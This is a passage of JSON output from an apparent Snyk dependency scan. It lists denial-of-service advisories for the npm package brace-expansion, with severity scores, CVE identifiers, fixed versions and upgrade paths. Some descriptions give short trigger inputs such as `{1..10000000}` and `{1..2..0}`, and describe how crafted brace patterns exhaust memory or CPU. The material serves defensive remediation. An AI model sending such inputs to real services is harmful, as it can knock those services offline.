6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable 